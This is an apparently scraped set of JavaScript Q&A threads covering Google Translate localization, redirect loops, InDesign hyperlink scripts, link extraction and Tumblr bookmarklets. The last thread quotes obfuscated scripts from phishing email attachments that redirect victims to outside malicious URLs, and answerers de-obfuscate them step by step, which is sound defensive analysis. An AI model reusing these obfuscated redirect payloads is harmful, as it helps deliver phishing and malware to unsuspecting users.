I'm not very familiar with js and now I need to do something very important for me, but I really don't know how to do it.
I'd like to include google translation api to my site, but I need to change some code in their js files. I have the element.js file on local host:
(function () {
var d = window,
e = document,
f = ".",
g = "UTF-8",
h = "complete",
k = "head",
l = "link",
m = "script",
n = "stylesheet",
p = "text/css",
q = "text/javascript";
Math.random();
function r(b) {
var a = e.getElementsByTagName(k)[0];
a || (a = e.body.parentNode.appendChild(e.createElement(k)));
a.appendChild(b)
}
function _loadJs(b) {
var a = e.createElement(m);
a.type = q;
a.charset = g;
a.src = b;
r(a)
}
function _loadCss(b) {
var a = e.createElement(l);
a.type = p;
a.rel = n;
a.charset = g;
a.href = b;
r(a)
}
function _isNS(b) {
b = b.split(f);
for (var a = d, c = 0; c < b.length; ++c) if (!(a = a[b[c]])) return !1;
return !0
}
function _setupNS(b) {
b = b.split(f);
for (var a = d, c = 0; c < b.length; ++c) a = a[b[c]] || (a[b[c]] = {});
return a
}
d.addEventListener && "undefined" == typeof e.readyState && d.addEventListener("DOMContentLoaded",
function () {
e.readyState = h
}, !1);
if (_isNS('google.translate.Element')) {
return
}
var c = _setupNS('google.translate._const');
c._cl = 'en';
c._cuc = 'googleSectionalElementInit';
c._cac = '';
c._cam = '';
var h = 'translate.googleapis.com';
var b = (window.location.protocol == 'https:' ? 'https://' : 'http://') + h;
c._pah = h;
c._pbi = b + '/translate_static/img/te_bk.gif';
c._pci = b + '/translate_static/img/te_ctrl3.gif';
c._phf = h + '/translate_static/js/element/hrs.swf';
c._pli = b + '/translate_static/img/loading.gif';
c._plla = h + '/translate_a/l';
c._pmi = b + '/translate_static/img/mini_google.png';
c._ps = b + '/translate_static/css/sectionalelement.css';
c._puh = 'translate.google.com';
_loadCss(c._ps);
_loadJs(b + '/translate_static/js/element/main_se.js');
})();
(If it's important, link to this file from web page is "element.js?cb=googleSectionalElementInit&ug=section&hl=en" )
And I need to get main_se.js (the last link in the file) on localhost too, but I don't know how to change link in element.js to this file to make it local. I need it, because I have to replace some html tags in this file to make api work properly for me.
Hope that somebody will advice me what to do.
If I understand correctly, elements.js produces a <script tag with src pointing to translate.googleapi.com and you want it to point to localhost.
The answer is quite easy in this case, simply remove the b+ as b is http://translate.googlapi.com you will get the following script tag
<script src="/transalte_static/js/element/main_se.js"></script>
All you have to do now, it make sure you return the right file (your localhost copy) from this path.
Let me know if you need anything else.
Related
I have this file on my server: (Index.html)
<script src="script.js"></script>
Then Script.js:
function generateUUID() {
var d = new Date().getTime();
var uuid = 'xxx-xxx-4xx-yxxx-xxxxyyyyxxxx'.replace(/[xy]/g, function(c) {
var r = (d + Math.random()*16)%16 | 0;
d = Math.floor(d/16);
return (c=='x' ? r : (r&0x3|0x8)).toString(16);
});
return uuid;
};
window.onload=doit;
function doit() {
var uuidme;
uuidme = generateUUID();
window.location.href = "/test?uuid=" + uuidme;
}
And the get varible goes crazy, it never stops changing the code which is NOT even close to what I would like.
before redirecting, check the url to see if you're already at the right spot with a uuid set. You can do this by scanning the url for the variable uuid using indexOf window.location.href.indexOf('uuid=') == -1:
function generateUUID() {
var d = new Date().getTime();
var uuid = 'xxx-xxx-4xx-yxxx-xxxxyyyyxxxx'.replace(/[xy]/g, function(c) {
var r = (d + Math.random()*16)%16 | 0;
d = Math.floor(d/16);
return (c=='x' ? r : (r&0x3|0x8)).toString(16);
});
return uuid;
};
window.onload=doit;
function doit() {
// make sure we dont find uuid set in the url already
if(window.location.href.indexOf('uuid=') == -1) {
var uuidme;
uuidme = generateUUID();
window.location.href = "/test?uuid=" + uuidme;
}
}
I am trying to fix all of the hyperlinks in my indesign files, and replace the https with http. right now, in order for it to work, I run this script..
var
i;
hls = app.activeDocument.hyperlinkURLDestinations;
for (i = 0; i < hls.length; i++) {
if (!hls[i].destinationURL.match('http://')) {
hls[i].destinationURL = 'http://' + hls[i].destinationURL;
}
}
followed by this script, choosing https to be replaced by http...
Menu for find/replace
main();
function main(){
var d = app.dialogs.add({name:"Replace Hyperlink URL Values"});
var col1 = d.dialogColumns.add();
var col2 = d.dialogColumns.add();
col1.staticTexts.add({staticLabel:"Find (GREP):"});
col1.staticTexts.add({staticLabel:"Replace:"});
var find = col2.textEditboxes.add({minWidth:100});
var change = col2.textEditboxes.add({minWidth:100});
var result = d.show();
if(!result){
d.destroy();
return;
}
var grepForFind = RegExp(find.editContents,"g");
var grepForReplace = change.editContents;
d.destroy();
var dests = app.documents[0].hyperlinkURLDestinations.everyItem().getElements();
for(var i=0;i<dests.length;i++){
dests[i].destinationURL = dests[i].destinationURL.replace(grepForFind,grepForReplace);
}
}
Once both of these have been ran, I notice that the "http://" has been duplicated on the hyperlinks that already contain "http://".
So I run the second script again replacing (http:// + http://) with "http://" which solves the problem.
My question, is how to make it into a single script that would work the first time.
**Note:**The second script presents this error if the first is not run, which baffles me as well.
Any and all help would be appreciated.
On the first script you get http:// duplicated because you are adding it to its own reference i.e. "http://"+"http://…". You have to replace string, not to add it:
var
i;
hls = app.activeDocument.hyperlinkURLDestinations;
for (i = 0; i < hls.length; i++) {
if (!hls[i].destinationURL.match('http://')) {
hls[i].destinationURL = hls[i].destinationURL.replace(/^https/,"http");
}
}
Another approach:
Hyperlink.prototype.grep = function(findString,repString, specifiers){
var r, dests = this.destination, url, dest, n = dests.length;
if ( !n
|| !findString
|| !repString
|| typeof (findString) != "string"
|| typeof (repString) != "string"
|| ( specifiers && typeof ( specifiers )!="string" )
) return;
r = new RegExp ( findString, specifiers? specifiers:"gi" );
while (n-- ) {
dest = dests[n];
if ( dest instanceof HyperlinkURLDestination ) {
url = dest.destinationURL;
dest.destinationURL = url.replace ( r, repString );
}
}
}
main();
function main(){
var d = app.dialogs.add({name:"Replace Hyperlink URL Values"});
var col1 = d.dialogColumns.add();
var col2 = d.dialogColumns.add();
col1.staticTexts.add({staticLabel:"Find (GREP):"});
col1.staticTexts.add({staticLabel:"Replace:"});
var find = col2.textEditboxes.add({minWidth:100, editContents:"^https"});
var change = col2.textEditboxes.add({minWidth:100, editContents:"http"});
var result = d.show();
if(!result){
d.destroy();
return;
}
var grepForFind = RegExp(find.editContents,"g");
var grepForReplace = change.editContents;
app.documents[0].hyperlinks.everyItem().grep(find.editContents, change.editContents, "g");
d.destroy();
}
Bass
I ran over all the configurations and to the exception of an empty url destination that indeed thrown an error, I can't reproduce what you are facing.
Maybe give this new snippet a try ?
If still failing, any chance you share the file ? Go at ozalto.com on the contact page if you prefer.
Hyperlink.prototype.grep = function(findString,repString, specifiers){
var r, dests = this.destination, url, dest, n = dests.length;
if ( !n
|| !findString
|| !repString
|| typeof (findString) != "string"
|| typeof (repString) != "string"
|| ( specifiers && typeof ( specifiers )!="string" )
) return;
r = new RegExp ( findString, specifiers? specifiers:"gi" );
while (n-- ) {
dest = dests[n];
if ( dest instanceof HyperlinkURLDestination ) {
url = dest.destinationURL;
url!="" && dest.destinationURL = url.replace ( r, repString );
}
}
}
main();
function main(){
var d = app.dialogs.add({name:"Replace Hyperlink URL Values"});
var col1 = d.dialogColumns.add();
var col2 = d.dialogColumns.add();
col1.staticTexts.add({staticLabel:"Find (GREP):"});
col1.staticTexts.add({staticLabel:"Replace:"});
var find = col2.textEditboxes.add({minWidth:100, editContents:"^https"});
var change = col2.textEditboxes.add({minWidth:100, editContents:"http"});
var result = d.show();
if(!result){
d.destroy();
return;
}
var grepForFind = RegExp(find.editContents,"g");
var grepForReplace = change.editContents;
app.documents[0].hyperlinks.everyItem().grep(find.editContents, change.editContents, "g");
d.destroy();
}
I am interested in extracting links from sites where the links are dynamically generated with JavaScript and are essentially invisible in HTML source. For instance here is an example site where the links are inserted via a js menu:
http://www.stcroixwebsolutions.com/
When I hover with the mouse over the links, I see the links, but they are not discernible in HTML source.
I would like to output the links like so:
http://www.stcroixwebsolutions.com/?110000
http://www.stcroixwebsolutions.com/?110010
etc.
What do you recommend I use to extract these links?
You could try something like this... This will at least get you started!
http://jsfiddle.net/Qv4St/
function showLinks() {
var links = document.getElementsByTagName( 'a' );
var last = links.length;
var list = {};
// for each anchor...
for (var i = 0; i < last; i++) {
list[links[i].href] = i;
console.log(list);
//' - text=' + links[i].innerHTML + '<br>';
}
var linksList = document.getElementById( 'linksList' );
linksList.innerHTML = list;
}
var getLinks = function () {
"use strict";
var a = document.getElementsByTagName("a"),
b = a.length,
c = 0,
d = [],
e = "",
f = location.href;
f = f.substring(0, f.lastIndexOf("/"));
for (c = 0; c < b; c += 1) {
e = a[c].getAttribute("href");
if (typeof e === "string" && e.length > 4) {
if (e.charAt(0) === "/" || e.charAt(0) === "?") {
e = f + e;
}
d.push(e);
}
}
return d.join("\n") + "\n" + d.length + " total links";
},
myLinks = getLinks(); //myLinks variable will contain the desired output.
//To output to the console just replace the line with 'return' with this code:
//console.log(d.join("\n") + "\n" + d.length + " total links");
Run this code to return a list of all hyperlinks on the given page in a list with each result on its own line.
EDIT: I now convert relative links to absolute URIs.
There is a standard document.links collection that is all the links in a document. Simply iterate over that.
I have a couple blogs linked to my Tumblr account, but the bookmarklet always selects my "primary" blog (the first one in the list).
How can I modify the bookmarklet so that it will auto-select a specific blog? I would like to have multiple bookmarklet links, e.g. "Share on blog1", "Share on blog2" so that I don't have to manually select which blog to create the post in.
Default Tumblr bookmarklet looks like this:
javascript: var d = document,
w = window,
e = w.getSelection,
k = d.getSelection,
x = d.selection,
s = (e ? e() : (k) ? k() : (x ? x.createRange().text : 0)),
f = 'http://www.tumblr.com/share',
l = d.location,
e = encodeURIComponent,
p = '?v=3&u=' + e(l.href) + '&t=' + e(d.title) + '&s=' + e(s),
u = f + p;
try {
if (!/^(.*\.)?tumblr[^.]*$/.test(l.host)) throw (0);
tstbklt();
} catch (z) {
a = function () {
if (!w.open(u, 't', 'toolbar=0,resizable=0,status=1,width=450,height=430')) l.href = u;
};
if (/Firefox/.test(navigator.userAgent)) setTimeout(a, 0);
else a();
}
void(0)
Give the bookmarklet a 'channel_id' post parameter which is 'example_blog_name' in example_blog_name.tumblr.com
javascript: var d = document,
w = window,
e = w.getSelection,
k = d.getSelection,
x = d.selection,
s = (e ? e() : (k) ? k() : (x ? x.createRange().text : 0)),
f = 'http://www.tumblr.com/share',
l = d.location,
e = encodeURIComponent,
c = 'example_blog_name',
p = '?v=3&u=' + e(l.href) + '&t=' + e(d.title) + '&s=' + e(s) + '&channel_id=' + e(c),
u = f + p;
Using a combination of a user script, and a little tweaking to the bookmarklet, here's your solution:
Install this as a UserScript:
var selectOption = function (elem, value) {
var options = elem.options;
for(var i = 0; i < options.length; i++){
if(options[i].innerHTML === value){
elem.selectedIndex = i;
}
}
};
window.onload = function (){
if(location.href.indexOf('tumblr.com/share') !== -1){
selectOption(document.getElementById('channel_id'), location.hash.slice(1));
}
};
Save this as your bookmarklet after editing the BLOG_NAME variable. Type it exactly as it is in the dropdown. Also, you'll probably have to run it through UglifyJS to make it a bookmarklet.
javascript: var BLOG_NAME = 'Test',
d = document,
w = window,
e = w.getSelection,
k = d.getSelection,
x = d.selection,
s = (e ? e() : (k) ? k() : (x ? x.createRange().text : 0)),
f = 'http://www.tumblr.com/share',
l = d.location,
e = encodeURIComponent,
p = '?v=3&u=' + e(l.href) + '&t=' + e(d.title) + '&s=' + e(s),
u = f + p;
try {
if (!/^(.*\.)?tumblr[^.]*$/.test(l.host)) throw (0);
tstbklt();
} catch (z) {
a = function () {
if (!w.open(u + '#' + BLOG_NAME, 't', 'toolbar=0,resizable=0,status=1,width=450,height=430')) l.href = u;
};
if (/Firefox/.test(navigator.userAgent)) setTimeout(a, 0);
else a();
}
void(0);
I've just found out that a spammer is sending email from our domain name, pretending to be us, saying:
Dear Customer,
This e-mail was send by ourwebsite.com
to notify you that we have temporanly
prevented access to your account.
We have reasons to beleive that your
account may have been accessed by
someone else. Please run attached file
and Follow instructions.
(C) ourwebsite.com (I changed that)
The attached file is an HTML file that has the following javascript:
<script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script>
Another email had this:
<script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script>
Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ...
Thanks
Answer:
The script executes
document.location.href = "http://mvblaw.com/z.htm"; //Evil site (I assume)
It also contains a large number of useless lines to hide the script's true purpose.
Analysis
Here it is unpacked.
function mD() {};
this.aB = 43719;
mD.prototype = {
i: function () {
var w = new Date();
this.j = '';
var x = function () {};
var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
var d = new Date();
y = "";
aL = "";
var f = document;
var s = function () {};
this.yE = "";
aN = "";
var dL = '';
var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
this.v = "v";
var q = 27427;
var m = new Date();
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
dE = '';
k = "";
var qY = function () {};
}
};
xO = false;
var b = new mD();
yY = "";
b.i();
this.xT = '';
Cleaning up the obfuscations and adding meaningful names, it becomes
function TempClass() {};
this.aB = 43719;
TempClass.prototype = {
doIt: function () {
var w = new Date();
this.j = '';
var x = function () {};
var a = "http://mvblaw.com/z.htm"; //Evil site (I assume)
var d = new Date();
y = "";
aL = "";
var f = document;
var s = function () {};
this.yE = "";
aN = "";
var dL = '';
var iD = f['location'];
this.v = "v";
var q = 27427;
var m = new Date();
iD['href'] = a;
dE = '';
k = "";
var qY = function () {};
}
};
xO = false;
var b = new TempClass();
yY = "";
b.doIt();
this.xT = '';
Removing all of the useless lines, it becomes
function TempClass() {};
TempClass.prototype = {
doIt: function () {
var a = "http://mvblaw.com/z.htm"; //Evil site (I assume)
var f = document;
var iD = f['location'];
iD['href'] = a;
}
};
var b = new TempClass();
b.doIt();
The script has a lot of useless stuff just to create confusion, the essential parts of the script are:
function mD() {};
mD.prototype = {
i: function () {
// read between every two letters:
var a = 'hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'
.replace(/[gJG,\<]/g, '');
var f = document;
var iD = f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
}
};
var b = new mD();
b.i();
If we clean up more:
function mD() {};
mD.prototype = {
i: function () {
var a = 'http://mvblaw.com/z.htm';
var f = document;
var iD = f['location'];
iD['href'] = a;
}
};
var b = new mD();
b.i();
And more:
function mD() {};
mD.prototype = {
i: function () {
document.location.href = 'http://mvblaw.com/z.htm';
}
};
var b = new mD();
b.i();
No geniuses, they:
hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
h t t p : / / m v b l a w . c o m / z . h t m
f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
l o c a t i o n
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
h r e f
Didn't even need to run it through regex :)
I'm going to assume they hacked mvblaw and snuck the payload page on there. Anyone with a VM want to see what it does?
Basically, it appears to set (document['location'])['href'] (or, in regular speak, document.location.href) to http://mvblaw.com/z.htm.
The obfuscation code is pretty simple, just replacing the noise characters with nothing:
var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');
// a = http://mvblaw.com/z.htm
var f=document;
var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];
// iD = document.location
iD['hqrteqfH'.replace(/[Htqag]/g, '')] = a;
// document.location.href = a (the URL above).